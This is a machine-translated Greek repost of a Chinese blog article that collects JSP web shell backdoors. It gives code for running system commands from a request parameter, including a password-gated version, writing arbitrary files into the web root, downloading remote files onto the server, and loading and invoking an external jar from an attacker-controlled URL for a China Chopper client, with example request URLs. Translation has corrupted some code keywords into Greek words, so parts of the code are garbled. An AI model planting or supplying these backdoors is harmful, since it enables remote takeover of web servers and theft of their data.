|
|
Δημοσιεύτηκε στις 2/1/2015 6:46:57 μ.μ.
|
|
|
|

Μεταφορά από: http://p2j.cn/?p=1627 1. Εκτελέστε εντολές συστήματος: Εκτελέστε εντολές συστήματος χωρίς ηχώ: <%Runtime.getRuntime().exec(request.getParameter("i"));%> Αίτημα: http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls Δεν θα υπάρχει ηχώ μετά την εκτέλεση, κάτι που είναι πολύ βολικό για κοχύλια αναπήδησης. Υπάρχουν ηχώ με την επαλήθευση κωδικού πρόσβασης: <% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = νέο byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); }%> Αίτηση: http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls
2. Κωδικοποιήστε τη συμβολοσειρά και γράψτε την στο καθορισμένο αρχείο: 1: <%new java.io.FileOutputStream(request.getParameter("f")).write(request.getParameter("c").getBytes());%> Αίτηση: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 Γράψτε στον κατάλογο ιστού: <%new java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(request.getParameter("c").getBytes());%> Αίτηση: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 2: <%new java.io.RandomAccessFile(request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %> Αίτηση: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 Γράψτε στον κατάλογο ιστού: <%new java.io.RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %> Αίτηση: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 3: Κατεβάστε το απομακρυσμένο αρχείο (εάν δεν χρησιμοποιείτε βοηθητικά προγράμματα apache io, δεν μπορείτε να μετατρέψετε τη ροή εισόδου σε byte, επομένως είναι πολύ μεγάλη...) <% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); byte[] b = νέο byte[1024]; java.io.ByteArrayOutputStream baos = νέο java.io.ByteArrayOutputStream(); int a = -1; ενώ ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray()); %> Αίτημα: http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png Λήψη στη διαδρομή web: <% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); byte[] b = νέο byte[1024]; java.io.ByteArrayOutputStream baos = νέο java.io.ByteArrayOutputStream(); int a = -1; ενώ ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray()); %> Αίτημα: http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png Τέσσερα: Η αντανάκλαση καλεί το εξωτερικό βάζο, τελειοποιήστε την πίσω πόρτα Εάν δεν σας αρέσει η παραπάνω λειτουργία backdoor είναι πολύ αδύναμη και ξεπερασμένη, μπορείτε να δοκιμάσετε αυτό: <%=Class.forName("Φόρτωση",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u"))})).getMethods()[0].invoke(null, new Object[]{ request.getParameterMap()})%> Αίτηση: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar&023=A
Σύνδεση μαχαιριού κουζίνας: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar, κωδικός πρόσβασης 023.
Λύση: Χρησιμοποιήστε την αντανάκλαση για να φορτώσετε ένα εξωτερικό βάζο στην τρέχουσα εφαρμογή και η αντανάκλαση εκτελεί το αποτέλεσμα της επεξεργασίας εξόδου. request.getParameterMap() περιέχει όλες τις παραμέτρους που ζητήθηκαν. Εφόσον έχει φορτωθεί το εξωτερικό πακέτο jar, ο διακομιστής πρέπει να έχει πρόσβαση σε αυτήν τη διεύθυνση jar. |
Προηγούμενος:Η κρίση πίσω από το αρχείο κειμένου TXTΕπόμενος:Κρυπτογράφηση Java MD5, κρυπτογράφηση και αποκρυπτογράφηση Base64 Η Java εκτελεί τον πηγαίο κώδικα εντολών συστήματος
|